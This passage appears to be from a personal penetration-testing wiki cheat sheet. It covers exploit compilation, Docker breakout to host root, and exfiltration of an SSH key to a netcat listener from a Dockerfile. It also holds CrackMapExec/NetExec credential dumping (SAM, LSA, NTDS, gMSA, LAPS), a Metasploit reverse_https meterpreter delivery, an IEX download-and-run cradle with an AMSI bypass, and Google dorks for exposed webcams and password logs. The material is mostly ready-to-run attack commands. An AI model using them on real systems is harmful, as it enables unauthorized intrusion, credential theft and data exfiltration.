-lwsock32 and -lws2_32&lt;br /&gt;
# The -lwsock32 and -lws2_32 flags are linker flags used in programming to include the Winsock libraries for network programming on Windows. -lwsock32 includes the older version of the library, while -lws2_32 includes the updated version with additional features and improvements. These flags ensure that the necessary networking functions are available to the application during the linking stage of compilation.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Compile .c in linux using --static ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# The -static option links a program statically, in other words it does not require a dependency on dynamic libraries at runtime in order to run.&lt;br /&gt;
gcc 45010.c -o exploit --static&lt;br /&gt;
&lt;br /&gt;
gcc 45010.c -o exploit -z execstack&lt;br /&gt;
# -z execstack: This option instructs the compiler to mark the resulting executable as having an executable stack. An executable stack means that the program can execute code stored on the stack, which can be a security risk if not handled carefully. This option is often used for specific purposes, like creating loader programs or certain types of shellcode.&lt;br /&gt;
&lt;br /&gt;
-------------------------------&lt;br /&gt;
# If the above dont work, try this&lt;br /&gt;
gcc -o sh.elf sh.c -z execstack -static&lt;br /&gt;
upx --best --lzma -o shupx.elf ./sh.elf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Compile .c to 32-bit windows ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
gcc exploit.c -m32 -o exploit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Docker - Privile Escalation ==&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation]&lt;br /&gt;
&lt;br /&gt;
=== Shell ===&lt;br /&gt;
&lt;br /&gt;
This will create a docker image, that you can run and get a shell with&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Create a docker file&lt;br /&gt;
FROM alpine:latest&lt;br /&gt;
ENV WORKIDR /privesc&lt;br /&gt;
RUN mkdir -p $WORKDIR&lt;br /&gt;
VOLUME [ $WORKDIR]&lt;br /&gt;
WORKDIR $WORKDIR&lt;br /&gt;
# Build the docker container&lt;br /&gt;
docker build -t imagename .&lt;br /&gt;
# Now run the image with /bin/bash. -it means interactive and terminal&lt;br /&gt;
docker run -v /:/mountdir -it imagename /bin/bash&lt;br /&gt;
root@machine#&lt;br /&gt;
-----------------------------------------------&lt;br /&gt;
#List images to use one&lt;br /&gt;
docker images&lt;br /&gt;
#Run the image mounting the host disk and chroot on it&lt;br /&gt;
docker run -it -v /:/host/ ubuntu:18.04 chroot /host/ bash&lt;br /&gt;
# Get full access to the host via ns pid and nsenter cli&lt;br /&gt;
docker run -it --rm --pid=host --privileged ubuntu bash&lt;br /&gt;
nsenter --target 1 --mount --uts --ipc --net --pid -- bash&lt;br /&gt;
# Get full privs in container without --privileged&lt;br /&gt;
docker run -it -v /:/host/ --cap-add=ALL --security-opt apparmor=unconfined --security-opt seccomp=unconfined --security-opt label:disable --pid=host --userns=host --uts=host --cgroupns=host ubuntu chroot /host/ bash&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Exfiltrate data ===&lt;br /&gt;
&lt;br /&gt;
See notes for Deployer&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Find if there is an docker image running. Then create a dockerfile. This wil copy id_rsa.bak to tmp, and then send it to our netcat listener on port 80&lt;br /&gt;
shanah@deployer:/opt$ cat dockerfile&lt;br /&gt;
FROM alpine&lt;br /&gt;
COPY id_rsa.bak /tmp/id_rsa.bak&lt;br /&gt;
RUN cat /tmp/id_rsa.bak | nc 192.168.49.153 80&lt;br /&gt;
# After running the below command, look at your netcat listener.&lt;br /&gt;
shanah@deployer:/opt$ sudo /usr/bin/docker build -t imagename .&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Exec-Tools ==&lt;br /&gt;
&lt;br /&gt;
=== CrackMapExec ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://wiki.porchetta.industries/&lt;br /&gt;
# READ MORE IN THE LINK ABOVE!!!!&lt;br /&gt;
# SMB commands&lt;br /&gt;
# Obtaining creds&lt;br /&gt;
# Require Domain Admin or Local Admin&lt;br /&gt;
# Dump SAM&lt;br /&gt;
crackmapexec smb 192.168.1.0/24 -u UserNAme -p &#039;PASSWORDHERE&#039; --sam&lt;br /&gt;
## Dump LSA&lt;br /&gt;
crackmapexec  smb 192.168.1.0/24 -u UserNAme -p &#039;PASSWORDHERE&#039; --lsa&lt;br /&gt;
## Dump NTDS.dit&lt;br /&gt;
cme smb 192.168.1.100 -u UserNAme -p &#039;PASSWORDHERE&#039; --ntds&lt;br /&gt;
cme smb 192.168.1.100 -u UserNAme -p &#039;PASSWORDHERE&#039; --ntds --users&lt;br /&gt;
cme smb 192.168.1.100 -u UserNAme -p &#039;PASSWORDHERE&#039; --ntds --users --enabled&lt;br /&gt;
cme smb 192.168.1.100 -u UserNAme -p &#039;PASSWORDHERE&#039; --ntds vss&lt;br /&gt;
## LPAS - If installed on the domain&lt;br /&gt;
crackmapexec smb  -u user-can-read-laps -p pass --laps&lt;br /&gt;
# LDAP&lt;br /&gt;
## Dump gMSA&lt;br /&gt;
crackmapexec ldap  -u  -p  --gmsa&lt;br /&gt;
## LAPS - If installed on the domain&lt;br /&gt;
crackmapexec ldap  -u user-can-read-laps -p pass -M laps&lt;br /&gt;
## Extract gMSA secrets&lt;br /&gt;
crackmapexec ldap  -u  -p  --gmsa-convert-id 313e25a880eb773502f03ad5021f49c2eb5b5be2a09f9883ae0d83308dbfa724&lt;br /&gt;
rackmapexec ldap  -u  -p  --gmsa-decrypt-lsa &#039;_SC_GMSA_{84A78B8C-56EE-465b-8496-FFB35A1B52A7}_313e25a880eb773502f03ad5021f49c2eb5b5be2a09f9883ae0d83308dbfa724:01000000240200001000120114021c02fbb096d10991bb88c3f54e153807b4c1cc009d30bc3c50fd6f72c99a1e79f27bd0cbd4df69fdf08b5cf6fa7928cf6924cf55bfd8dd505b1da26ddf5695f5333dd07d08673029b01082e548e31f1ad16c67db0116c6ab0f8d2a0f6f36ff30b160b7c78502d5df93232f72d6397b44571d1939a2d18bb9c28a5a48266f52737c934669e038e22d3ba5a7ae63a608f3074c520201f372d740fddec77a8fed4ddfc5b63ce7c4643b60a8c4c739e0d0c7078dd0c2fcbc2849e561ea2de1af7a004b462b1ff62ab4d3db5945a6227a58ed24461a634b85f939eeed392cf3fe9359f28f3daa8cb74edb9eef7dd38f44ed99fa7df5d10ea1545994012850980a7b3becba0000d22d957218fb7297b216e2d7272a4901f65c93ee0dbc4891d4eba49dda5354b0f2c359f185e6bb943da9bcfbd2abda591299cf166c28cb36907d1ba1a8956004b5e872ef851810689cec9578baae261b45d29d99aef743f3d9dcfbc5f89172c9761c706ea3ef16f4b553db628010e627dd42e3717208da1a2902636d63dabf1526597d94307c6b70a5acaf4bb2a1bdab05e38eb2594018e3ffac0245fcdb6afc5a36a5f98f5910491e85669f45d02e230cb633a4e64368205ac6fc3b0ba62d516283623670b723f906c2b3d40027791ab2ae97a8c5c135aae85da54a970e77fb46087d0e2233d062dcd88f866c12160313f9e6884b510840e90f4c5ee5a032d40000f0650a4489170000f0073a9188170000&#039;&lt;br /&gt;
## List all PKI enrollment server&lt;br /&gt;
crackmapexec run ldap  -u user -p pass -M adcs&lt;br /&gt;
## Extract subnet&lt;br /&gt;
crackmapexec ldap  -u  -p  -M get-network&lt;br /&gt;
crackmapexec ldap  -u  -p  -M get-network -o ONLY_HOSTS=true&lt;br /&gt;
crackmapexec ldap  -u  -p  -M get-network -o ALL=true&lt;br /&gt;
# Username + Password + CMD command&lt;br /&gt;
crackmapexec mssql -d  -u  -p  -x &amp;quot;whoami&amp;quot;&lt;br /&gt;
# Username + Hash + PS command&lt;br /&gt;
crackmapexec mssql -d  -u  -H  -X &#039;$PSVersionTable&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== NetExec ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/Pennyw0rth/NetExec&lt;br /&gt;
# This project was initially created in 2015 by @byt3bl33d3r, known as CrackMapExec. In 2019 @mpgn_x64 started maintaining the project for the next 4 years, adding a lot of great tools and features. In September 2023 he retired from maintaining the project.&lt;br /&gt;
# cheatsheet&lt;br /&gt;
https://www.netexec.wiki/&lt;br /&gt;
# General&lt;br /&gt;
netexec   -u username -p password&lt;br /&gt;
# Using modules&lt;br /&gt;
# List available modules&lt;br /&gt;
nxc smb -L&lt;br /&gt;
# View module options&lt;br /&gt;
nxc smb -M lsassy --options&lt;br /&gt;
# Using Kerberos&lt;br /&gt;
$ export KRB5CCNAME=/home/bonclay/impacket/administrator.ccache&lt;br /&gt;
$ nxc smb zoro.gold.local --use-kcache&lt;br /&gt;
$ export KRB5CCNAME=/home/bonclay/impacket/bonclay.ccache&lt;br /&gt;
$ sudo nxc smb zoro.gold.local --use-kcache -x whoami&lt;br /&gt;
# Send a local file to the remote target&lt;br /&gt;
nxc smb 172.16.251.152 -u user -p pass --put-file /tmp/whoami.txt \\Windows\\Temp\\whoami.txt&lt;br /&gt;
# Get a remote file on the remote target&lt;br /&gt;
nxc smb 172.16.251.152 -u user -p pass --get-file  \\Windows\\Temp\\whoami.txt /tmp/whoami.txt&lt;br /&gt;
# Read LAPS&lt;br /&gt;
nxc smb  -u user-can-read-laps -p pass --laps&lt;br /&gt;
# Impersonate logged on user&lt;br /&gt;
# 1. Enumerate logged-on users on your Target&lt;br /&gt;
nxc smb  -u  -p  --loggedon-users&lt;br /&gt;
# 2. Execute commands on behalf of other users&lt;br /&gt;
nxc smb  -u  -p  -M schtask_as -o USER= CMD=&lt;br /&gt;
# Find Domain SID&lt;br /&gt;
$ nxc ldap DC1.scrm.local -u sqlsvc -p Pegasus60 -k --get-sid&lt;br /&gt;
# Kerberoasting&lt;br /&gt;
nxc ldap 192.168.0.104 -u harry -p pass --kerberoasting output.txt&lt;br /&gt;
# Unconstrained delegation - retrieve the list of all computers and users with the flag TRUSTED_FOR_DELEGATION&lt;br /&gt;
nxc ldap 192.168.0.104 -u harry -p pass --trusted-for-delegation&lt;br /&gt;
# Dump gMSA&lt;br /&gt;
$ nxc ldap  -u  -p  --gmsa&lt;br /&gt;
# Bloodhound ingenstor&lt;br /&gt;
nxc ldap  -u user -p pass --bloodhound -ns  --collection All&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Meterpreter using Invoke-metasploitpayload.ps1 ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/Ethical-Hacking-Repos/Invoke-MetasploitPayload/blob/master/README.md&lt;br /&gt;
# https://www.netexec.wiki/smb-protocol/command-execution/getting-shells-101#meterpreter&lt;br /&gt;
# Meterpreter&lt;br /&gt;
# We can use the metinject module launch a meterpreter using Invoke-MetasploitPayload Invoke-MetasploitPayload.ps1 script.&lt;br /&gt;
# On your Metasploit instance, run the following commands&lt;br /&gt;
use exploit/multi/script/web_delivery&lt;br /&gt;
# The SRVHOST and SRVPORT variables are used for running the webserver to host the script&lt;br /&gt;
set SRVHOST 10.211.55&lt;br /&gt;
set SRVPORT 8443&lt;br /&gt;
# The target variable determines what type of script we&#039;re using. 2 is for PowerShell&lt;br /&gt;
set target 2&lt;br /&gt;
# Pick your payload. In this case, we&#039;ll use a reverse https meterpreter payload&lt;br /&gt;
set payload windows/meterpreter/reverse_https&lt;br /&gt;
set LHOST 10.211.55&lt;br /&gt;
set LPORT 443&lt;br /&gt;
# Run the exploit&lt;br /&gt;
run -j&lt;br /&gt;
# Once run, the web_delivery module will spin up the webserver to host the script and reverse listener for our meterpreter session.&lt;br /&gt;
msf exploit(web_delivery) &amp;gt; run -j&lt;br /&gt;
[*] Exploit running as background job.&lt;br /&gt;
[*] Started HTTPS reverse handler on https://10.211.55.4:8443/&lt;br /&gt;
[*] Using URL: http://10.211.55.4:8080/eYEssEwv2D&lt;br /&gt;
[*] Local IP: http://10.211.55.4:8080/eYEssEwv2D&lt;br /&gt;
[*] Server started.&lt;br /&gt;
# Then just run the met_inject module and specify the LHOST and LPORT values:&lt;br /&gt;
~ NetExec 192.168.10.0/24 -u username -p password -M met_inject -o SRVHOST=192.168.10.3 SRVPORT=8443 RAND=eYEssEwv2D SSL=http&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== PsMapExec ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
# Cheathseet&lt;br /&gt;
https://viperone.gitbook.io/pentest-everything/psmapexec&lt;br /&gt;
https://github.com/The-Viper-One/PsMapExec&lt;br /&gt;
# A PowerShell tool heavily inspired by the popular tool CrackMapExec. Far too often I find myself on engagements without access to Linux in order to make use of CrackMapExec.&lt;br /&gt;
# PsMapExec is used as a post-exploitation tool to assess and compromise an Active Directory environment.&lt;br /&gt;
# Load directly into memory and attempt to bypass AV&lt;br /&gt;
# Invoke-NETMongoose.ps1 is an AMSI bypass&lt;br /&gt;
IEX(New-Object System.Net.WebClient).DownloadString(&amp;quot;https://raw.githubusercontent.com/The-Viper-One/PME-Scripts/main/Invoke-NETMongoose.ps1&amp;quot;);IEX(New-Object System.Net.WebClient).DownloadString(&amp;quot;https://raw.githubusercontent.com/The-Viper-One/PsMapExec/main/PsMapExec.ps1&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
# PsMapExec has some dependencies that need to be pulled from outside the script itself in order to function.&lt;br /&gt;
## Primarily these are:&lt;br /&gt;
### Kirby (PowerShell based Kerberos ticket dump)&lt;br /&gt;
### Invoke-Pandemonium (Slightly modified Mimikatz)&lt;br /&gt;
&lt;br /&gt;
# Examples&lt;br /&gt;
# Execute WMI commands over all systems in the domain using password authentication&lt;br /&gt;
PsMapExec -Username Admin -Password Pass -Targets All -Method WMI -Command &amp;quot;net user&amp;quot;&lt;br /&gt;
# Execute WinRM commands over all systems in the domain using hash authentication&lt;br /&gt;
PsMapExec -Username Admin -Hash [Hash] -Targets All -Method WinRM -Command &amp;quot;net user&amp;quot;&lt;br /&gt;
# Check RDP Access against workstations in the domain&lt;br /&gt;
PsMapExec -Username Admin -Password Pass -Targets Workstations -Method RDP&lt;br /&gt;
# Dump SAM on all servers in the domain using SMB&lt;br /&gt;
PsMapExec -Username [User] -Hash [Hash] -Targets Servers -Method SMB -Module SAM&lt;br /&gt;
# Check SMB Signing on all domain systems&lt;br /&gt;
PsMapExec -Targets All -Method GenRelayList&lt;br /&gt;
# Dump LogonPasswords on all Domain Controllers over SMB&lt;br /&gt;
PsMapExec -Username Admin -Password Pass -Targets DCs -Method SMB -Module LogonPasswords&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== GIT ==&lt;br /&gt;
&lt;br /&gt;
See PG Hunit writeup&lt;br /&gt;
&lt;br /&gt;
=== Download .git ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mkdir&lt;br /&gt;
./gitdumper.sh /.git/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Extract .git content ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mkdir&lt;br /&gt;
./extractor.sh&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== GIT basic commands ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Stage the file for commit to your local repository by the following command. -A means add changes from all tracked and untracked files&lt;br /&gt;
git add -A&lt;br /&gt;
# Configure who you are in order to commit&lt;br /&gt;
git config --global user.email &amp;quot;you@example.com&amp;quot;&lt;br /&gt;
git config --global user.name &amp;quot;Your Name&amp;quot;&lt;br /&gt;
# The git commit command **captures a snapshot of the project&#039;s currently staged changes**.&lt;br /&gt;
git commit -m &amp;quot;This is a message&amp;quot;&lt;br /&gt;
#  Push your changes to the remote server. &amp;quot;master&amp;quot; refers to master branch in your repository.&lt;br /&gt;
git push origin master&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===  ===&lt;br /&gt;
&lt;br /&gt;
=== GIT_SSH_COMMAND ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# GIT_SSH_COMMAND&lt;br /&gt;
# If either of these environment variables is set then _git fetch_ and _git push_ will use the specified command instead of _ssh_ when they need to connect to a remote system.&lt;br /&gt;
# Below command will SSH to user git at 192.168.243.124 and clone the repo from /git-server&lt;br /&gt;
GIT_SSH_COMMAND=&#039;ssh -i id_rsa -p 43022&#039; git clone git@192.168.243.125:/git-server&lt;br /&gt;
# This command wil SSH to user git and push the changes to the remote server.&lt;br /&gt;
GIT_SSH_COMMAND=&#039;ssh -i id_rsa -p 43022&#039; git push origin master&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== GitLeaks - Scan repos for secrets ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/zricethezav/gitleaks&lt;br /&gt;
gitleaks detect --source . -v&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Google Dorking ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://dorksearch.com/&lt;br /&gt;
site:target[.]com ext:php inurl:?&lt;br /&gt;
site:target.tld intitle:&amp;quot;index of /&amp;quot; #  intitle:&amp;quot;index of /&amp;quot;: This searches for pages with “index of /” in their title. The “index of /” is typically shown in the title of directory listings on servers where directory browsing is enabled. It allows you to see a raw directory of files hosted on a server.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Search operators ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/chr3st5an/Google-Dorking GitHub - chr3st5an/Google-Dorking: Google Dorking Cheat Sheet]&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Operator&lt;br /&gt;
! Description&lt;br /&gt;
! Syntax&lt;br /&gt;
! Example&lt;br /&gt;
|-&lt;br /&gt;
| ()&lt;br /&gt;
| Group multiple terms or operators. Allows advanced expressions&lt;br /&gt;
| (&amp;lt;term&amp;gt; or &amp;lt;operator&amp;gt;)&lt;br /&gt;
| inurl:(html | php)&lt;br /&gt;
|-&lt;br /&gt;
| *&lt;br /&gt;
| Wildcard. Matches any word&lt;br /&gt;
| &amp;lt;text&amp;gt; * &amp;lt;text&amp;gt;&lt;br /&gt;
| How to * a computer&lt;br /&gt;
|-&lt;br /&gt;
| &amp;quot;&amp;quot;&lt;br /&gt;
| The given keyword has to match exactly. case-insensitive&lt;br /&gt;
| &amp;quot;&amp;lt;keywords&amp;gt;&amp;quot;&lt;br /&gt;
| &amp;quot;google&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| m..n / m...n&lt;br /&gt;
| Search for a range of numbers. n should be greater than m&lt;br /&gt;
| &amp;lt;number&amp;gt;..&amp;lt;number&amp;gt;&lt;br /&gt;
| 1..100&lt;br /&gt;
|-&lt;br /&gt;
| -&lt;br /&gt;
| Documents that match the operator are excluded. NOT-Operator&lt;br /&gt;
| -&amp;lt;operator&amp;gt;&lt;br /&gt;
| -site:youtube.com&lt;br /&gt;
|-&lt;br /&gt;
| +&lt;br /&gt;
| Include documents that match the operator&lt;br /&gt;
| +&amp;lt;operator&amp;gt;&lt;br /&gt;
| +site:youtube.com&lt;br /&gt;
|-&lt;br /&gt;
| |&lt;br /&gt;
| Logical OR-Operator. Only one operator needs to match in order for the overall expression to match&lt;br /&gt;
| &amp;lt;operator&amp;gt; | &amp;lt;operator&amp;gt;&lt;br /&gt;
| &amp;quot;google&amp;quot; | &amp;quot;yahoo&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| ~&lt;br /&gt;
| Search for synonyms of the given word. Not supported by Google&lt;br /&gt;
| ~&amp;lt;word&amp;gt;&lt;br /&gt;
| ~book&lt;br /&gt;
|-&lt;br /&gt;
| @&lt;br /&gt;
| Perform a search only on the given social media platform. Rather use site&lt;br /&gt;
| @&amp;lt;socialmedia&amp;gt;&lt;br /&gt;
| @instagram&lt;br /&gt;
|-&lt;br /&gt;
| after&lt;br /&gt;
| Search for documents published / indexed after the given date&lt;br /&gt;
| after:&amp;lt;yy(-mm-dd)&amp;gt;&lt;br /&gt;
| after:2020-06-03&lt;br /&gt;
|-&lt;br /&gt;
| allintitle&lt;br /&gt;
| Same as intitle but allows multiple keywords seperated by a space&lt;br /&gt;
| allintitle:&amp;lt;keywords&amp;gt;&lt;br /&gt;
| allintitle:dog cat&lt;br /&gt;
|-&lt;br /&gt;
| allinurl&lt;br /&gt;
| Same as inurl but allows multiple keywords seperated by a space&lt;br /&gt;
| allinurl:&amp;lt;keywords&amp;gt;&lt;br /&gt;
| allinurl:search com&lt;br /&gt;
|-&lt;br /&gt;
| allintext&lt;br /&gt;
| Same as intext but allows multiple keywords seperated by a space&lt;br /&gt;
| allintext:&amp;lt;keywords&amp;gt;&lt;br /&gt;
| allintext:math science university&lt;br /&gt;
|-&lt;br /&gt;
| AROUND&lt;br /&gt;
| Search for documents in which the first word is up to n words away from the second word and vice versa&lt;br /&gt;
| &amp;lt;word1&amp;gt; AROUND(&amp;lt;n&amp;gt;) &amp;lt;word2&amp;gt;&lt;br /&gt;
| google AROUND(10) good&lt;br /&gt;
|-&lt;br /&gt;
| author&lt;br /&gt;
| Search for articles written by the given author if applicable&lt;br /&gt;
| author:&amp;lt;name&amp;gt;&lt;br /&gt;
| author:Max&lt;br /&gt;
|-&lt;br /&gt;
| before&lt;br /&gt;
| Search for documents published / indexed before the given date&lt;br /&gt;
| before:&amp;lt;yy(-mm-dd)&amp;gt;&lt;br /&gt;
| before:2020-06-03&lt;br /&gt;
|-&lt;br /&gt;
| cache&lt;br /&gt;
| Search on the cached version of the given website. Uses Google&#039;s cache to do so&lt;br /&gt;
| cache:&amp;lt;domain&amp;gt;&lt;br /&gt;
| cache:google.com&lt;br /&gt;
|-&lt;br /&gt;
| contains&lt;br /&gt;
| Search for documents that link to the given fileype. Not supported by Google&lt;br /&gt;
| contains:&amp;lt;filetype&amp;gt;&lt;br /&gt;
| contains:pdf&lt;br /&gt;
|-&lt;br /&gt;
| date&lt;br /&gt;
| Search for documents published within the past n months. Not supported by Google&lt;br /&gt;
| date:&amp;lt;number&amp;gt;&lt;br /&gt;
| date:3&lt;br /&gt;
|-&lt;br /&gt;
| define&lt;br /&gt;
| Search for the definition of the given word&lt;br /&gt;
| define:&amp;lt;word&amp;gt;&lt;br /&gt;
| define:funny&lt;br /&gt;
|-&lt;br /&gt;
| ext&lt;br /&gt;
| Search for a specific filetype&lt;br /&gt;
| ext:&amp;lt;documenttype&amp;gt;&lt;br /&gt;
| ext:pdf&lt;br /&gt;
|-&lt;br /&gt;
| filetype&lt;br /&gt;
| Refer to ext&lt;br /&gt;
| filetype:&amp;lt;documenttype&amp;gt;&lt;br /&gt;
| filetype:pdf&lt;br /&gt;
|-&lt;br /&gt;
| inanchor&lt;br /&gt;
| Search for the given keyword in a website&#039;s anchors&lt;br /&gt;
| inanchor:&amp;lt;keyword&amp;gt;&lt;br /&gt;
| inanchor:security&lt;br /&gt;
|-&lt;br /&gt;
| index of&lt;br /&gt;
| Search for documents containing direct downloads&lt;br /&gt;
| index of:&amp;lt;term&amp;gt;&lt;br /&gt;
| index of:mp4 videos&lt;br /&gt;
|-&lt;br /&gt;
| info&lt;br /&gt;
| Search for information about a website&lt;br /&gt;
| info:&amp;lt;domain&amp;gt;&lt;br /&gt;
| info:google.com&lt;br /&gt;
|-&lt;br /&gt;
| intext&lt;br /&gt;
| Keyword needs to be in the text of the document&lt;br /&gt;
| intext:&amp;lt;keyword&amp;gt;&lt;br /&gt;
| intext:news&lt;br /&gt;
|-&lt;br /&gt;
| intitle&lt;br /&gt;
| Keyword needs to be in the title of the document&lt;br /&gt;
| intitle:&amp;lt;keyword&amp;gt;&lt;br /&gt;
| intitle:money&lt;br /&gt;
|-&lt;br /&gt;
| inurl&lt;br /&gt;
| Keyword needs to be in the URL of the document&lt;br /&gt;
| inurl:&amp;lt;keyword&amp;gt;&lt;br /&gt;
| inurl:sheet&lt;br /&gt;
|-&lt;br /&gt;
| link / links&lt;br /&gt;
| Search for documents whose links contain the given keyword. Useful for finding documents that link to a specific website&lt;br /&gt;
| link:&amp;lt;keyword&amp;gt;&lt;br /&gt;
| link:google&lt;br /&gt;
|-&lt;br /&gt;
| location&lt;br /&gt;
| Show documents based on the given location&lt;br /&gt;
| location:&amp;lt;location&amp;gt;&lt;br /&gt;
| location:USA&lt;br /&gt;
|-&lt;br /&gt;
| numrange&lt;br /&gt;
| Refer to m..n&lt;br /&gt;
| numrange:&amp;lt;number&amp;gt;-&amp;lt;number&amp;gt;&lt;br /&gt;
| numrange:1-100&lt;br /&gt;
|-&lt;br /&gt;
| OR&lt;br /&gt;
| Refer to |&lt;br /&gt;
| &amp;lt;operator&amp;gt; OR &amp;lt;operator&amp;gt;&lt;br /&gt;
| &amp;quot;google&amp;quot; OR &amp;quot;yahoo&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| phonebook&lt;br /&gt;
| Search for related phone numbers associated with the given name&lt;br /&gt;
| phonebook:&amp;lt;name&amp;gt;&lt;br /&gt;
| phonebook:&amp;quot;william smith&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| relate / related&lt;br /&gt;
| Search for documents that are related to the given website&lt;br /&gt;
| relate:&amp;lt;domain&amp;gt;&lt;br /&gt;
| relate:google.com&lt;br /&gt;
|-&lt;br /&gt;
| safesearch&lt;br /&gt;
| Exclude adult content such as pornographic videos&lt;br /&gt;
| safesearch:&amp;lt;keyword&amp;gt;&lt;br /&gt;
| safesearch:sex&lt;br /&gt;
|-&lt;br /&gt;
| source&lt;br /&gt;
| Search on a specific news site. Rather use site&lt;br /&gt;
| source:&amp;lt;news&amp;gt;&lt;br /&gt;
| source:theguardian&lt;br /&gt;
|-&lt;br /&gt;
| site&lt;br /&gt;
| Search on the given site. Given argument might also be just a TLD such as com, net, etc&lt;br /&gt;
| site:&amp;lt;domain&amp;gt;&lt;br /&gt;
| site:google.com&lt;br /&gt;
|-&lt;br /&gt;
| stock&lt;br /&gt;
| Search for information about a market stock&lt;br /&gt;
| stock:&amp;lt;stock&amp;gt;&lt;br /&gt;
| stock:dax&lt;br /&gt;
|-&lt;br /&gt;
| weather&lt;br /&gt;
| Search for information about the weather of the given location&lt;br /&gt;
| weather:&amp;lt;location&amp;gt;&lt;br /&gt;
| weather:Miami&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== Finding Valuable Information ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
intitle:&amp;quot;webcamXP 5&amp;quot; | inurl:&amp;quot;lvappl.htm&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Find open/public webcams&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
intext:password ext:log&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Find log documents wich have the string &amp;quot;password&amp;quot; in it&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
inurl:/proc/self/cwd&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Find vulnerable webservers&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
inurl:email.xls ext:xls&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
